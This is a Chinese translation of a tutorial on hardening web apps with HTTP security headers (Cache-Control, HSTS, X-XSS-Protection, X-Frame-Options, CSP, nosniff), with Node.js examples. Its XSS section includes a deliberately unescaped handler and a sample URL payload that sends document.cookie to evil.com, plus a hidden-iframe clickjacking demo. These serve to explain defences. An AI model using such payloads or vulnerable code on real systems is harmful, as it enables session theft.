[譯] 如何使用 HTTP Headers 來保護你的 Web 應用

如何使用 HTTP Headers 來保護你的 Web 應用

衆所周知,不管是簡單的小網頁仍是複雜的單頁應用,Web 應用都是網絡攻擊的目標。2016 年,這種最主要的攻擊模式 —— 攻擊 web 應用,形成了大約 40% 的數據泄露。事實上,如今來講,瞭解網絡安全並非錦上添花,而是 Web 開發者的必需任務,特別對於構建面向消費者的產品的開發人員。javascript

開發者能夠利用 HTTP 響應頭來增強 Web 應用程序的安全性,一般只須要添加幾行代碼便可。本文將介紹 web 開發者如何利用 HTTP Headers 來構建安全的應用。雖然本文的示例代碼是 Node.js,但基本全部主流的服務端語言都支持設置 HTTP 響應頭,而且均可以簡單地對其進行配置。html

關於 HTTP Headers

技術上來講,HTTP 頭只是簡單的字段,以明文形式編碼,它是 HTTP 請求和響應消息頭的一部分。它們旨在使客戶端和服務端都可以發送和接受有關要創建的鏈接、所請求的資源,以及返回的資源自己的元數據。前端

能夠簡單地使用 cURL --head 來檢查純文本 HTTP 響應頭,例如:html5

$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…複製代碼

如今,數百種響應頭正在被 web 應用所使用,其中一部分由互聯網工程任務組(IETF)標準化。IETF 是一個開放性組織,今天咱們所熟知的許多 web 標準和專利都是由他們推動的。HTTP 頭提供了一種靈活可擴展的機制,造就了現今的網絡各類豐富多變的用例。java

機密資源禁用緩存

緩存是優化客戶端-服務端架構性能中有效的技術,HTTP 也不例外,一樣普遍利用了緩存技術。可是,在緩存的資源是保密的狀況下,緩存可能致使漏洞,因此必須避免。假設一個 web 應用對含有敏感信息的網頁進行緩存,而且是在一臺公用的 PC 上使用,任何人能夠經過訪問瀏覽器的緩存看到這個 web 應用上的敏感信息,甚至有時僅僅經過點擊瀏覽器的返回按鈕就能夠看到。react

IETF RFC 7234 中定義了 HTTP 緩存,指定 HTTP 客戶端(瀏覽器以及網絡代理)的默認行爲:除非另行指定,不然始終緩存對 HTTP GET 請求的響應。雖然這樣可使 HTTP 提高性能減小網絡擁塞,但如上所述,它也有可能使終端用戶我的信息被盜。好消息是,HTTP 規範還定義了一種很是簡單的方式來指示客戶端對特定響應不進行緩存,經過使用 —— 對,你猜到了 —— HTTP 響應頭。android

當你準備返回敏感信息並但願禁用 HTTP 客戶端的緩存時,有三個響應頭能夠返回:ios

  • Cache-Control

從 HTTP 1.1 引入的此響應頭可能包含一個或多個指令,每一個指令帶有特定的緩存語義,指示 HTTP 客戶端和代理如何處理有此響應頭註釋的響應。我推薦以下指定響應頭,cache-control: no-cache, no-store, must-revalidate。這三個指令基本上能夠指示客戶端和中間代理不可以使用以前緩存的響應,不可存儲響應,甚至就算響應被緩存,也必須從源服務器上從新驗證。git

  • Pragma: no-cache

爲了向後兼容 HTTP 1.0,你還須要包含此響應頭。有部分客戶端,特別是中間代理,可能仍然沒有徹底支持 HTTP 1.1,因此不能正確處理前面提到的 Cache-Control 響應頭,所以使用 Pragma: no-cache 確保較舊的客戶端不緩存你的響應。github

  • Expires: -1

此響應頭指定了該響應過時的時間戳。若是不指定爲將來某個真實時間而指定爲 -1,能夠保證客戶端當即將此響應視爲過時並避免緩存。

須要注意的是,禁用緩存提升安全性及保護機密資源的同時,也的確會帶來性能上的折損。因此確保僅對實際須要保密性的資源禁用緩存,而不是對服務器的任何響應禁用。想要更深刻了解 web 資源緩存的最佳實踐,我推薦閱讀 Jake Archibald 的文章

下面是 Node.js 中設置響應頭的示例代碼:

function requestHandler(req, res) {
    res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
    res.setHeader('Pragma','no-cache');
    res.setHeader('Expires','-1');
}複製代碼

強制 HTTPS

今天,HTTPS 的重要性已經獲得了技術界的普遍承認。愈來愈多的 web 應用配置了安全端點,並將不安全網路重定向到安全端點(即 HTTP 重定向至 HTTPS)。不幸的是,終端用戶還未徹底理解 HTTPS 的重要性,這種缺少理解使他們面臨着各類中間人攻擊(MitM)。普通用戶訪問到一個 web 應用時,並不會注意到正在使用的網絡協議是安全的(HTTPS)仍是不安全的(HTTP)。甚至,當瀏覽器出現了證書錯誤或警告時,不少用戶會直接點擊略過警告。

與 web 應用進行交互時,經過有效的 HTTPS 鏈接是很是重要的:不安全的鏈接將會使得用戶暴露在各類攻擊之下,這可能致使 cookie 被盜甚至更糟。舉個例子,攻擊者能夠在公共 Wi-Fi 網絡下輕易騙取網絡幀並提取那些不使用 HTTPS 的用戶的會話 cookie。更糟的狀況是,即便用戶經過安全鏈接與 web 應用進行交互也可能遭受降級攻擊,這種攻擊試圖強制將鏈接降級到不安全的鏈接,從而使用戶受到中間人攻擊。

咱們如何幫助用戶避免這些攻擊,並更好地推行 HTTPS 的使用呢?使用 HTTP 嚴格傳輸安全頭(HSTS)。簡單來講,HSTS 確保與源主機間的全部通訊都使用 HTTPS。RFC 6797 中說明了,HSTS 可使 web 應用程序指示瀏覽器容許與源主機之間的 HTTPS 鏈接,將全部不安全的鏈接內部重定向到安全鏈接,並自動將全部不安全的資源請求升級爲安全請求。

HSTS 的指令以下:

  • max-age=<number of seconds>

此項指示瀏覽器對此域緩存此響應頭指定的秒數。這樣能夠保證長時間的加固安全。

  • includeSubDomains

此項指示瀏覽器對當前域的全部子域應用 HSTS,這能夠用於全部當前和將來可能的子域。

  • preload

這是一個強大的指令,強制瀏覽器始終安全加載你的 web 應用程序,即便是第一次收到響應以前加載!這是經過將啓用 HSTS 預加載域的列表硬編碼到瀏覽器的代碼中實現的。要啓用預加載功能,你須要在 Google Chrome 團隊維護的網站 HSTS 預加載列表提交註冊你的域。

注意謹慎使用 preload,由於這意味着它不能輕易撤銷,並可能更新延遲數個月。雖然預加載確定會增強應用程序的安全性,但也意味着你須要充分確信你的應用程序僅支持 HTTPS!

我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;,這樣指示了瀏覽器強制經過 HTTPS 鏈接到源主機而且有效期爲一年。若是你對你的 app 僅處理 HTTPS 頗有信心,我也推薦加上 preload 指令,固然別忘記去前面提到的預加載列表註冊你的網站。

如下是在 Nodes.js 中實現 HSTS 的方法:

function requestHandler(req, res){
    res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}複製代碼

啓用 XSS 過濾

在反射型跨站腳本攻擊(reflected XSS)中,攻擊者將惡意 JavaScript 代碼注入到 HTTP 請求,注入的代碼「映射」到響應中,並由瀏覽器執行,從而使惡意代碼在可信任的上下文中執行,訪問諸如會話 cookie 中的潛在機密信息。不幸的是,XSS 是一個很常見的網絡應用攻擊,且使人驚訝地有效!

爲了瞭解反射型 XSS 攻擊,參考如下 Node.js 代碼,渲染 mywebapp.com,模擬一個簡單的 web 應用程序,它將搜索結果以及用戶請求的搜索關鍵詞一塊兒呈現:

function handleRequest(req, res) {
    res.writeHead(200);

    // Get the search term
    const parsedUrl = require('url').parse(req.url);
    const searchTerm = decodeURI(parsedUrl.query);
    const resultSet = search(searchTerm);

    // Render the document
    res.end(
        "<html>" +
            "<body>" +
                "<p>You searched for: " + searchTerm + "</p>" +
                // Search results rendering goes here…
            "</body>" +
        "</html>");
};複製代碼

如今,來考慮一下上面的 web 應用程序會如何處理在 URL 中嵌入的惡意可執行代碼,例如:

https://mywebapp.com/search?</p><script>window.location=「http://evil.com?cookie=」+document.cookie</script>複製代碼

你可能意識到了,這個 URL 會讓瀏覽器執行注入的腳本,併發送極有可能包含機密會話的用戶 cookies 到 evil.com。

爲了保護用戶抵抗反射型 XSS 攻擊,有些瀏覽器實施了保護機制。這些保護機制嘗試經過在 HTTP 請求和響應中尋找匹配的代碼模式來辨識這些攻擊。Internet Explorer 是第一個推出這種機制的,在 2008 年的 IE 8 中引入了 XSS 過濾器的機制,而 WebKit 後來推出了 XSS 審計,現今在 Chrome 和 Safari 上可用(Firefox 沒有內置相似的機制,可是用戶可使用插件來得到此功能)。這些保護機制並不完美,它們可能沒法檢測到真正的 XSS 攻擊(漏報),在其餘狀況可能會阻止合法代碼(誤判)。因爲後一種狀況的出現,瀏覽器容許用戶可設置禁用 XSS 過濾功能。不幸的是,這一般是一個全局設置,這會徹底關閉全部瀏覽器加載的 web 應用程序的安全功能。

幸運的是,有方法可讓 web 應用覆蓋此配置,並確保瀏覽器加載的 web 應用已打開 XSS 過濾器。即經過設定 X-XSS-Protection 響應頭實現。此響應頭支持 Internet Explorer(IE8 以上)、Edge、Chrome 和 Safari,指示瀏覽器打開或關閉內置的保護機制,及覆蓋瀏覽器的本地配置。

X-XSS-Protection 指令包括:

  • 1 或者 0

使用或禁用 XSS 過濾器。

  • mode=block

當檢測到 XSS 攻擊時,這會指示瀏覽器不渲染整個頁面。

我建議永遠打開 XSS 過濾器以及 block 模式,以求最大化保護用戶。這樣的響應頭應該是這樣的:

X-XSS-Protection: 1; mode=block複製代碼

如下是在 Node.js 中配置此響應頭的方法:

function requestHandler(req, res){
    res.setHeader('X-XSS-Protection','1;mode=block');}複製代碼

控制 iframe

iframe (正式來講,是 HTML 內聯框架元素)是一個 DOM 元素,它容許一個 web 應用嵌套在另外一個 web 應用中。這個強大的元素有部分重要的使用場景,好比在 web 應用中嵌入第三方內容,但它也有重大的缺點,例如對 SEO 不友好,對瀏覽器導航跳轉也不友好等等。

其中一個須要注意的事是它使得點擊劫持變得更加容易。點擊劫持是一種誘使用戶點擊並不是他們想要點擊的目標的攻擊。要理解一個簡單的劫持實現,參考如下 HTML,當用戶認爲他們點擊能夠得到獎品時,其實是試圖欺騙用戶購買麪包機。

<html>
  <body>
    <button class='some-class'>Win a Prize!</button>
    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
  </body>
</html>複製代碼

有許多惡意應用程序都採用了點擊劫持,例如誘導用戶點贊,在線購買商品,甚至提交機密信息。惡意 web 應用程序能夠經過在其惡意應用中嵌入合法的 web 應用來利用 iframe 進行點擊劫持,這能夠經過設置 opacity: 0 的 CSS 規則將其隱藏,並將 iframe 的點擊目標直接放置在看起來無辜的按鈕之上。點擊了這個無害按鈕的用戶會直接點擊在嵌入的 web 應用上,並不知道點擊後的後果。

阻止這種攻擊的一種有效的方法是限制你的 web 應用被框架化。在 RFC 7034 中引入的 X-Frame-Options,就是設計用來作這件事的。此響應頭指示瀏覽器對你的 web 應用是否能夠被嵌入另外一個網頁進行限制,從而阻止惡意網頁欺騙用戶調用你的應用程序進行各項操做。你可使用 DENY 徹底屏蔽,或者使用 ALLOW-FROM 指令將特定域列入白名單,也可使用 SAMEORIGIN 指令將應用的源地址列入白名單。

個人建議是使用 SAMEORIGIN 指令,由於它容許 iframe 被同域的應用程序所使用,這有時是有用的。如下是響應頭的示例:

X-Frame-Options: SAMEORIGIN複製代碼

如下是在 Node.js 中設置此響應頭的示例代碼:

function requestHandler(req, res){
    res.setHeader('X-Frame-Options','SAMEORIGIN');}複製代碼

指定白名單資源

如前所述,你能夠經過啓用瀏覽器的 XSS 過濾器,給你的 web 應用程序加強安全性。然而請注意,這種機制是有侷限性的,不是全部瀏覽器都支持(例如 Firefox 就不支持 XSS 過濾),而且依賴的模式匹配技術能夠被欺騙。

對抗 XSS 和其餘攻擊的另外一層的保護,能夠經過明確列出可信來源和操做來實現 —— 這就是內容安全策略(CSP)。

CSP 是一種 W3C 規範,它定義了強大的基於瀏覽器的安全機制,能夠對 web 應用中的資源加載以及腳本執行進行精細的控制。使用 CSP 能夠將特定的域加入白名單進行腳本加載、AJAX 調用、圖像加載和樣式加載等操做。你能夠啓用或禁用內聯腳本或動態腳本(臭名昭著的 eval),並經過將特定域列入白名單來控制框架化。CSP 的另外一個很酷的功能是它容許配置實時報告目標,以便實時監控應用程序進行 CSP 阻止操做。

這種對資源加載和腳本執行的明確的白名單提供了很強的安全性,在不少狀況下均可以防範攻擊。例如,使用 CSP 禁止內聯腳本,你能夠防範不少反射型 XSS 攻擊,由於它們依賴於將內聯腳本注入到 DOM。

CSP 是一個相對複雜的響應頭,它有不少種指令,在這裏我不詳細展開了,能夠參考 HTML5 Rocks 裏一篇很棒的教程,其中提供了 CSP 的概述,我很是推薦閱讀它來學習如何在你的 web 應用中使用 CSP。

如下是一個設置 CSP 的示例代碼,它僅容許從應用程序的源域加載腳本,並阻止動態腳本的執行(eval)以及內嵌腳本(固然,仍是 Node.js):

function requestHandler(req, res){
    res.setHeader('Content-Security-Policy',"script-src 'self'");}複製代碼

防止 Content-Type 嗅探

爲了使用戶體驗儘量無縫,許多瀏覽器實現了一個功能叫內容類型嗅探,或者 MIME 嗅探。這個功能使得瀏覽器能夠經過「嗅探」實際 HTTP 響應的資源的內容直接檢測到資源的類型,無視響應頭中 Content-Type 指定的資源類型。雖然這個功能在某些狀況下確實是有用的,它引入了一個漏洞以及一種叫 MIME 類型混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者能夠注入惡意資源,例如惡意腳本,假裝成一個無害的資源,例如一張圖片。經過 MIME 嗅探,瀏覽器將忽略聲明的圖像內容類型,它不會渲染圖片,而是執行惡意腳本。

幸運的是,X-Content-Type-Options 響應頭緩解了這個漏洞。此響應頭在 2008 年引入 IE8,目前大多數主流瀏覽器都支持(Safari 是惟一不支持的主流瀏覽器),它指示瀏覽器在處理獲取的資源時不使用嗅探。由於 X-Content-Type-Options 僅在 「Fetch」規範中正式指定,實際的實現因瀏覽器而異。一部分瀏覽器(IE 和 Edge)徹底阻止了 MIME 嗅探,而其餘一些(Firefox)仍然會進行 MIME 嗅探,但會屏蔽掉可執行的資源(JavaScript 和 CSS)若是聲明的內容類型與實際的類型不一致。後者符合最新的 Fetch 規範。

X-Content-Type-Options 是一個很簡單的響應頭,它只有一個指令,nosniff。它是這樣指定的:X-Content-Type-Options: nosniff。如下是示例代碼:

function requestHandler(req, res){
    res.setHeader('X-Content-Type-Options','nosniff');}複製代碼

總結

本文中,咱們瞭解瞭如何利用 HTTP 響應頭來增強 web 應用的安全性,防止攻擊和減輕漏洞。

要點

  • 使用 Cache-Control 禁用對機密信息的緩存
  • 經過 Strict-Transport-Security 強制使用 HTTPS,並將你的域添加到 Chrome 預加載列表
  • 利用 X-XSS-Protection 使你的 web 應用更加能抵抗 XSS 攻擊
  • 使用 X-Frame-Options 阻止點擊劫持
  • 利用 Content-Security-Policy 將特定來源與端點列入白名單
  • 使用 X-Content-Type-Options 防止 MIME 嗅探攻擊

請記住,爲了使 web 真正迷人,它必須是安全的。利用 HTTP 響應頭構建更加安全的網頁吧!

聲明: 此文內容僅屬本人,不表明本人過去或如今的僱主。)

首頁圖片版權:Pexels.com


掘金翻譯計劃 是一個翻譯優質互聯網技術文章的社區,文章來源爲 掘金 上的英文分享文章。內容覆蓋 AndroidiOSReact前端後端產品設計 等領域,想要查看更多優質譯文請持續關注 掘金翻譯計劃

相關文章
相關標籤/搜索